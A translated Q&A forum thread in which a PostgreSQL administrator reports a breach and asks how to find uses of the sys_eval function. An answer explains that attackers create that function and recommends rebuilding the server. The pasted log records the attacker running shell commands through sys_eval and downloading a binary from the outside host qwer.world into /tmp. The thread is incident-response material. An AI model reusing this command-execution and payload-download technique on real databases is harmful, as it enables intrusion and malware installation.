Security
PostgreSQL:如何查找使用 sys_eval 的函式
我的伺服器被黑了,我在 postgres 日誌中發現了這個
2017-12-19 06:30:16 COT STATEMENT: select sys_eval('pgrep baou87r1D9;pgrep 9rMhx24;pgrep Ps1fnYF3;pgrep P15xAw4;pgrep 8yV192n7;pgrep ktU5R693w2;pgrep VW5Ngjl;pgrep gwcaMW7;pgrep pvN195X8A;pgrep H80p3ao14Z;pgrep 6gBLwWlMrS;pgrep 78HgGw0L3;pgrep 5qKiw4e7gQ;pgrep iW35uqB60;pgrep qik7btShxK;pgrep xCi4Zze52;pgrep O0ajdnot;pgrep 6zmYcK1r;pgrep Hgb1hjvz;pgrep 38qz9Ivr;pgrep 0k693Runi;pgrep ax6fYNV;pgrep g3v50S64f7;pgrep 8y7kV496;pgrep 60m4qwFA;pgrep 0bs45q3k;pgrep 2R3e4g5l;pgrep 0a546q2T;pgrep c12yZ0v;pgrep KEq6m2kV5;'); --2017-12-19 06:31:09-- http://qwer.world/kw0rker Resolviendo qwer.world... 138.197.116.216 Connecting to qwer.world|138.197.116.216|:80... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 1643240 (1.6M) [application/octet-stream] Saving to: `/tmp/x0597078a' 0K .......... .......... .......... .......... .......... 3% 397K 4s 50K .......... .......... .......... .......... .......... 6% 793K 3s 100K .......... .......... .......... .......... .......... 9% 794K 2s 150K .......... .......... .......... .......... .......... 12% 59.9M 2s 200K .......... .......... .......... .......... .......... 15% 800K 2s 250K .......... .......... .......... .......... .......... 18% 83.3M 1s 300K .......... .......... .......... .......... .......... 21% 807K 1s 350K .......... .......... .......... .......... .......... 24% 84.6M 1s 400K .......... .......... .......... .......... .......... 28% 7.91M 1s
我刪除了 tmp 中的文件,停止了一個未知的 postgres 程序,並更改了數據庫使用者的防火牆規則、pg_hba conf 和密碼。
我不知道惡意程式碼是否仍然存在,我需要重新安裝我的 postgres 安裝。我的計劃是搜尋該功能並嘗試防止將來出現問題,但我找到的文件
sys_eval
非常有限。如何找到
sys_eval
現有程式碼中使用的位置?
您無法找到
sys_eval
我們現有程式碼中使用的位置,因為此功能在乾淨的系統上不存在(除非您已經竭盡全力製作它)所以您的程式碼沒有理由使用它(當然除非您的程式碼庫也被黑客入侵並插入了東西)。該函式是黑客創建的,作為入侵數據庫的步驟之一。黑客可以隨意稱呼它。他可能在這里或類似的地方得到了程式碼,然後懶得混淆名稱。如果您正在尋找它在中毒系統上的位置,請查看
pg_proc
. 但是這個系統需要從軌道上用核武器發射,所以看起來可能沒有意義。您將(在您乾淨的系統上)對 pg_hba、防火牆和數據庫使用者(包括數據庫超級使用者,這是發生黑客攻擊的地方,而不僅僅是普通使用者)所做的更改應該可以防止他們利用新系統,但是無法知道舊版本中安裝了多少木馬和後門。